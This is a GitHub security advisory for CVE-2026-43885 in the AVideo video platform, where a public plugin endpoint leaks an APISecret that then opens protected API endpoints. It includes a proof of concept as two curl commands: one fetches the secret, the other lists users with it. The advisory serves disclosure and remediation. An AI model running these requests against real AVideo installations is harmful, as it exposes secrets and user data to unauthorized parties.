GitHub Advisoryadvisory · Packagist

GHSA-xr49-f4rh-qcjf AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization

HIGH Published 2026-05-05 Modified 2026-05-13 Official page ↗
Aliases
CVE-2026-43885
Ecosystem
Packagist
Packages
wwbn/avideo
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Weaknesses
CWE-200, CWE-862
Reviewed
2026-05-05

Affected packages

• Packagist wwbn/avideo: <= 29.0 (no fix yet)

Description

Summary An unauthenticated user can read `APISecret` from `objects/plugins.json.php` and use it to call protected API endpoints (e.g. `users_list`) without logging in. ### Details `objects/plugins.json.php` is public and still exposes plugin `object_data` containing `APISecret`. That secret is accepted by `plugin/API/get.json.php` as authentication. ### PoC 1. Get plugin config (contains `APISecret`): ```bash curl 'http:///objects/plugins.json.php' ``` 2. Copy APISecret from response, then call API directly: ```bash curl --get 'http:///plugin/API/get.json.php' \ --data-urlencode 'APIName=users_list' \ --data-urlencode 'APISecret=' \ --data-urlencode 'rowCount=3' \ --data-urlencode 'current=1' ``` ### Impact Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data. ### Recommended fix Requiring admin auth for full plugin inventory/config endpoint.

Related

Alias · CVE (1)

  • CVE-2026-43885 WWBN AVideo is an open source video platform. vulnerability

Weakness · CWE (2)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness
  • CWE-862 Missing Authorization weakness

References